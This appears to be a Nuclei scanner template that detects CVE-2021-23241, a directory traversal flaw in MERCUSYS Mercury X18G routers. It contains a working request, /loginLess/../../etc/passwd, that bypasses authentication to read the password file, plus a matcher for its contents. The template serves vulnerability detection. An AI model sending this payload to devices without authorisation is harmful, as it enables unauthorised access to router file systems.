id: CVE-2021-23241 info: name: Mercury Router Web Server Directory Traversal author: daffainfo severity: medium description: MERCUSYS Mercury X18G 1.0.5 devices allow Directory Traversal via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI. reference: - https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md - https://nvd.nist.gov/vuln/detail/CVE-2021-23241 tags: cve,cve2021,iot,lfi,router classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.30 cve-id: CVE-2021-23241 cwe-id: CWE-22 requests: - method: GET path: - "{{BaseURL}}/loginLess/../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0" part: body - type: status status: - 200